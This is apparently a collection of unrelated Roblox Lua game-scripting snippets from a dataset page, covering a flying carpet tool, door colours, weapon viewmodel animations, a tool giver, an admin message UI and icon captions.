Mesh.Parent = CarpetPart
local Weld = Instance.new("Weld")
Weld.Part0 = Handle
Weld.Part1 = CarpetPart
local XOffset = (((i == 1 or i == #CarpetPieces) and -0.005) or 0)
local YOffset = ((-((Handle.Size.Z / 2) - (CarpetPart.Size.Z / 2))) + ((CarpetPart.Size.Z * (i - 1))) + ((i == 2 and 0.245) or (i == 3 and 0.04) or (i == #CarpetPieces and 0.28) or 0))
Weld.C1 = CFrame.new(0, XOffset, YOffset)
Weld.Parent = CarpetPart
table.insert(CarpetParts, {Part = CarpetPart, Weld = Weld, InitialCFrame = Weld.C0, Angle = v.Angle})
CarpetPart.Parent = Tool
end
spawn(function()
InvokeClient("PlayAnimation", Animations.Sit)
Tool.Grip = Grips.Flying
end)
Torso.Anchored = true
delay(.2,function()
Torso.Anchored = false
Torso.Velocity = Vector3.new(0,0,0)
Torso.RotVelocity = Vector3.new(0,0,0)
end)
FlightSpin = Instance.new("BodyGyro")
FlightSpin.Name = "FlightSpin"
FlightSpin.P = 10000
FlightSpin.maxTorque = Vector3.new(FlightSpin.P, FlightSpin.P, FlightSpin.P)*100
FlightSpin.cframe = Torso.CFrame
FlightPower = Instance.new("BodyVelocity")
FlightPower.Name = "FlightPower"
FlightPower.velocity = Vector3.new(0, 0, 0)
FlightPower.maxForce = Vector3.new(1,1,1)*1000000
FlightPower.P = 1000
FlightHold = Instance.new("BodyPosition")
FlightHold.Name = "FlightHold"
FlightHold.P = 100000
FlightHold.maxForce = Vector3.new(0, 0, 0)
FlightHold.position = Torso.Position
FlightSpin.Parent = Torso
FlightPower.Parent = Torso
FlightHold.Parent = Torso
spawn(function()
local LastPlace = nil
while Flying and ToolEquipped and CheckIfAlive() do
local CurrentPlace = Handle.Position
local Velocity = Torso.Velocity
Velocity = Vector3.new(Velocity.X, 0, Velocity.Z).magnitude
if LastPlace and Velocity > 10 then
spawn(function()
local Model = GetRainbowModel()
local Distance = (LastPlace - CurrentPlace).magnitude
local Length = Distance + 3.5
local RainbowModel = CreateRainbow(Length)
--Thanks so much to ArceusInator for helping solve this part!
local RainbowCFrame = CFrame.new((LastPlace + (CurrentPlace - LastPlace).unit * (Distance / 2)), CurrentPlace)
TransformModel(RainbowModel, RainbowModel:GetModelCFrame(), RainbowCFrame, true)
Debris:AddItem(RainbowModel, 1)
RainbowModel.Parent = Model
if Model and not Model.Parent then
Model.Parent = game:GetService("Workspace")
end
LastPlace = CurrentPlace
end)
elseif not LastPlace then
LastPlace = CurrentPlace
end
wait(Rate)
end
end)
elseif not Flying then
Torso.Velocity = Vector3.new(0, 0, 0)
Torso.RotVelocity = Vector3.new(0, 0, 0)
for i, v in pairs({FlightSpin, FlightPower, FlightHold}) do
if v and v.Parent then
v:Destroy()
end
end
spawn(function()
Tool.Grip = Grips.Normal
InvokeClient("StopAnimation", Animations.Sit)
end)
end
wait(2)
Tool.Enabled = true
end
function Equipped(Mouse)
Character = Tool.Parent
Humanoid = Character:FindFirstChild("Humanoid")
Torso = Character:FindFirstChild("HumanoidRootPart")
Player = Players:GetPlayerFromCharacter(Character)
if not CheckIfAlive() then
return
end
if Humanoid then
if Humanoid.RigType == Enum.HumanoidRigType.R15 then
Animations = {
Sit = {Animation = Tool:WaitForChild("SitR15"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil},
}
else
Animations = {
Sit = {Animation = Tool:WaitForChild("Sit"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil},
}
end
end
Tool.Grip = Grips.Normal
ToolEquipped = true
end
function Unequipped()
Flying = false
for i, v in pairs({FlightSpin, FlightPower, FlightHold}) do
if v and v.Parent then
v:Destroy()
end
end
CleanUp()
Handle.Transparency = 0
ToolEquipped = false
end
function OnServerInvoke(player, mode, value)
if player ~= Player or not ToolEquipped or not value or not CheckIfAlive() then
return
end
end
function InvokeClient(Mode, Value)
local ClientReturn = nil
pcall(function()
ClientReturn = ClientControl:InvokeClient(Player, Mode, Value)
end)
return ClientReturn
end
CleanUp()
ServerControl.OnServerInvoke = OnServerInvoke
Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
--------LEFT DOOR --------
|
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
|
--//Client Animations
|
IdleAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms)
end;
StanceDown = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.3)
end;
StanceUp = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -1.85, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.8,-0.6,-1.15) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play()
wait(0.3)
end;
Patrol = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.75, -.9, -1.6) * CFrame.Angles(math.rad(-80), math.rad(-70), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.75,0.75,-1) * CFrame.Angles(math.rad(-90),math.rad(-45),math.rad(-25))}):Play()
wait(0.3)
end;
SprintAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.3)
end;
EquipAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.1)
objs[5].Handle:WaitForChild("AimUp"):Play()
ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play()
wait(0.5)
end;
ZoomAnim = function(char, speed, objs)
--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play()
wait(0.3)
end;
UnZoomAnim = function(char, speed, objs)
--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play()
wait(0.3)
end;
ChamberAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(1.6,-1.45,-0.92) * CFrame.Angles(math.rad(-180),math.rad(90),math.rad(0))}):Play()
wait(.35)
objs[5].Bolt:WaitForChild("SlidePull"):Play()
ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(1.15,-1.45,-0.92) * CFrame.Angles(math.rad(-180),math.rad(90),math.rad(0))}):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
wait(0.3)
objs[5].Bolt:WaitForChild("SlideRelease"):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
end;
ChamberBKAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, -0.465, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.1,-0.15,-1.115) * CFrame.Angles(math.rad(-110),math.rad(25),math.rad(0))}):Play()
wait(0.3)
objs[5].Bolt:WaitForChild("SlideRelease"):Play()
ts:Create(objs[3],TweenInfo.new(0.15),{C1 = CFrame.new(0.1,-0.15,-1.025) * CFrame.Angles(math.rad(-100),math.rad(30),math.rad(0))}):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
wait(0.15)
end;
CheckAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.8) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(.35)
local MagC = objs[5]:WaitForChild("Mag"):clone()
objs[5].Mag.Transparency = 1
MagC.Parent = objs[5]
MagC.Name = "MagC"
MagC.Transparency = 0
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame)
ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.4,0.275,-2.5) * CFrame.Angles(math.rad(-120),math.rad(0),math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagOut"):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play()
wait(1.5)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.4,0.275,-2.5) * CFrame.Angles(math.rad(-120),math.rad(0),math.rad(7.5))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.8) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagIn"):Play()
MagC:Destroy()
objs[5].Mag.Transparency = 0
wait(0.3)
end;
ShellInsertAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
wait(0.3)
objs[5].Handle:WaitForChild("ShellInsert"):Play()
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
objs[6].Value = objs[6].Value - 1
objs[7].Value = objs[7].Value + 1
wait(0.3)
end;
ReloadAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.8) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(0.5)
objs[5].Mag.Transparency = 1
objs[5].Handle:WaitForChild("MagOut"):Play()
local MagC = objs[5]:WaitForChild("Mag"):clone()
MagC.Parent = objs[5]
MagC.Name = "MagC"
MagC.Transparency = 0
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame)
ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[2],TweenInfo.new(0.5),{C1 = CFrame.new(-0.875, 0, -1.35) * CFrame.Angles(math.rad(-100), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.4,0.275,-2.5) * CFrame.Angles(math.rad(-120),math.rad(0),math.rad(7.5))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.6),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play()
wait(1.5)
ts:Create(objs[2],TweenInfo.new(0.4),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.4,0.275,-2.5) * CFrame.Angles(math.rad(-120),math.rad(0),math.rad(7.5))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.8) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
ts:Create(objs[2],TweenInfo.new(0.1),{C1 = CFrame.new(-0.875, 0, -1.125) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagIn"):Play()
MagC:Destroy()
objs[5].Mag.Transparency = 0
if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then
objs[7].Value = objs[7].Value + objs[6].Value
objs[6].Value = 0
--Evt.Recarregar:FireServer(objs[5].Value)
elseif objs[7].Value <= 0 then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
--Evt.Recarregar:FireServer(objs[5].Value)
objs[7].Value = objs[8].Ammo
objs[9] = false
elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1
--objs[10].Recarregar:FireServer(objs[6].Value)
objs[7].Value = objs[8].Ammo + 1
elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
--Evt.Recarregar:FireServer(objs[5].Value)
objs[7].Value = objs[8].Ammo
end
wait(0.55)
end;
|
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
|
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.FootballBall-- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage
hitPart.Touched:Connect(function(hit)
if debounce == true then
if hit.Parent:FindFirstChild("Humanoid") then
local plr = game.Players:FindFirstChild(hit.Parent.Name)
if plr then
debounce = false
hitPart.BrickColor = BrickColor.new("Bright red")
tool:Clone().Parent = plr.Backpack
wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again
debounce = true
hitPart.BrickColor = BrickColor.new("Bright green")
end
end
end
end)
|
--// All global vars will be wiped/replaced except script
|
return function(data)
local gui = client.UI.Prepare(script.Parent.Parent) -- Change it to a TextLabel to avoid chat clearing
local playergui = service.PlayerGui
local frame = gui.Frame
local msg = gui.Frame.Message
local ttl = gui.Frame.Title
local gIndex = data.gIndex
local gTable = data.gTable
local title = data.Title
local message = data.Message
local scroll = data.Scroll
local tim = data.Time
if not data.Message or not data.Title then gui:Destroy() end
ttl.Text = title
msg.Text = message
ttl.TextTransparency = 1
msg.TextTransparency = 1
ttl.TextStrokeTransparency = 1
msg.TextStrokeTransparency = 1
frame.BackgroundTransparency = 1
local log = {
Type = "Full Screen Message";
Title = title;
Message = message;
Icon = "rbxassetid://7501175708";
Time = os.date("%X");
Function = nil;
}
table.insert(client.Variables.CommunicationsHistory, log)
service.Events.CommsPanel:Fire(log)
local blur = service.New("BlurEffect")
blur.Enabled = false
blur.Size = 0
blur.Parent = workspace.CurrentCamera
local fadeSteps = 10
local blurSize = 10
local textFade = 0.1
local strokeFade = 0.5
local frameFade = 0.3
local blurStep = blurSize/fadeSteps
local frameStep = frameFade/fadeSteps
local textStep = 0.1
local strokeStep = 0.1
local gone = false
local function fadeIn()
if not gone then
blur.Enabled = true
gTable:Ready()
--gui.Parent = service.PlayerGui
for i = 1,fadeSteps do
if blur.Size<blurSize then
blur.Size = blur.Size+blurStep
end
if msg.TextTransparency>textFade then
msg.TextTransparency = msg.TextTransparency-textStep
ttl.TextTransparency = ttl.TextTransparency-textStep
end
if msg.TextStrokeTransparency>strokeFade then
msg.TextStrokeTransparency = msg.TextStrokeTransparency-strokeStep
ttl.TextStrokeTransparency = ttl.TextStrokeTransparency-strokeStep
end
if frame.BackgroundTransparency>frameFade then
frame.BackgroundTransparency = frame.BackgroundTransparency-frameStep
end
wait(1/60)
end
end
end
local function fadeOut()
if not gone then
for i = 1,fadeSteps do
if blur.Size>0 then
blur.Size = blur.Size-blurStep
end
if msg.TextTransparency<1 then
msg.TextTransparency = msg.TextTransparency+textStep
ttl.TextTransparency = ttl.TextTransparency+textStep
end
if msg.TextStrokeTransparency<1 then
msg.TextStrokeTransparency = msg.TextStrokeTransparency+strokeStep
ttl.TextStrokeTransparency = ttl.TextStrokeTransparency+strokeStep
end
if frame.BackgroundTransparency<1 then
frame.BackgroundTransparency = frame.BackgroundTransparency+frameStep
end
wait(1/60)
end
blur.Enabled = false
blur:Destroy()
service.UnWrap(gui):Destroy()
gone = true
end
end
gTable.CustomDestroy = function()
if not gone then
gone = true
pcall(fadeOut)
end
pcall(function() service.UnWrap(gui):Destroy() end)
pcall(function() blur:Destroy() end)
end
--[[if not scroll then
msg.Text = message
else
Routine(function()
wait(0.5)
for i = 1, #message do
msg.Text = msg.Text .. message:sub(i,i)
wait(0.05)
end
end)
end--]] -- For now?
fadeIn()
wait(tim or 5)
if not gone then
fadeOut()
end
--[[
frame.Position = UDim2.new(0.5,-175,-1.5,0)
gui.Parent = playergui
frame:TweenPosition(UDim2.new(0.5,-175,0.25,0),nil,nil,0.5)
if not scroll then
msg.Text = message
wait(tim or 10)
else
wait(0.5)
for i = 1, #message do
msg.Text = msg.Text .. message:sub(i,i)
wait(0.05)
end
wait(tim or 5)
end
if frame then
frame:TweenPosition(UDim2.new(0.5,-175,-1.5,0),nil,nil,0.5)
wait(1)
gui:Destroy()
end
--]]
end
|
--Change sound id to the id you want to play
|
debounce = false
script.Parent.Touched:connect(function(hit)
if not debounce then
debounce = true
if(hit.Parent:FindFirstChild("Humanoid")~=nil)then
local player = game.Players:GetPlayerFromCharacter(hit.Parent)
local sound = script.Parent.Sound:Clone()
sound.Parent = player.PlayerGui
sound:Play()
wait(60)--change to how long before the sound plays again after retouching it
end
debounce = false
end
end)
|
-- Captions
|
DEFAULT_FORCED_GROUP_VALUES["caption"] = 1
function Icon:setCaption(text)
assert(typeof(text) == "string" or text == nil, "Expected string, got "..typeof(text))
self.captionText = text
self.instances.captionLabel.Text = text
self.instances.captionContainer.Parent = (text and activeItems) or self.instances.iconContainer
self:_updateIconSize(nil, self:getIconState())
local captionMaid = Maid.new()
self._maid.captionMaid = captionMaid
captionMaid:give(self.hoverStarted:Connect(function()
if not self.isSelected then
self:displayCaption(true)
end
end))
captionMaid:give(self.hoverEnded:Connect(function()
self:displayCaption(false)
end))
captionMaid:give(self.selected:Connect(function()
if self.hovering then
self:displayCaption(false)
end
end))
local iconContainer = self.instances.iconContainer
captionMaid:give(iconContainer:GetPropertyChangedSignal("AbsoluteSize"):Connect(function()
if self.hovering then
self:displayCaption()
end
end))
captionMaid:give(iconContainer:GetPropertyChangedSignal("AbsolutePosition"):Connect(function()
if self.hovering then
self:displayCaption()
end
end))
self:displayCaption(self.hovering)
return self
end
function Icon:displayCaption(bool)
if userInputService.TouchEnabled and not self._draggingFinger then return end
local yOffset = 8
-- Determine caption position
if self._draggingFinger then
yOffset = yOffset + THUMB_OFFSET
end
local iconContainer = self.instances.iconContainer
local captionContainer = self.instances.captionContainer
local newPos = UDim2.new(0, iconContainer.AbsolutePosition.X+iconContainer.AbsoluteSize.X/2-captionContainer.AbsoluteSize.X/2, 0, iconContainer.AbsolutePosition.Y+(iconContainer.AbsoluteSize.Y*2)+yOffset)
captionContainer.Position = newPos
-- Determine caption visibility
local isVisible = self.captionVisible or false
if typeof(bool) == "boolean" then
isVisible = bool
end
self.captionVisible = isVisible
-- Change transparency of relavent caption instances
local captionFadeInfo = self:get("captionFadeInfo")
for _, settingName in pairs(self._groupSettings.caption) do
local settingDetail = self._settingsDictionary[settingName]
settingDetail.useForcedGroupValue = not isVisible
self:_update(settingName)
end
end
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.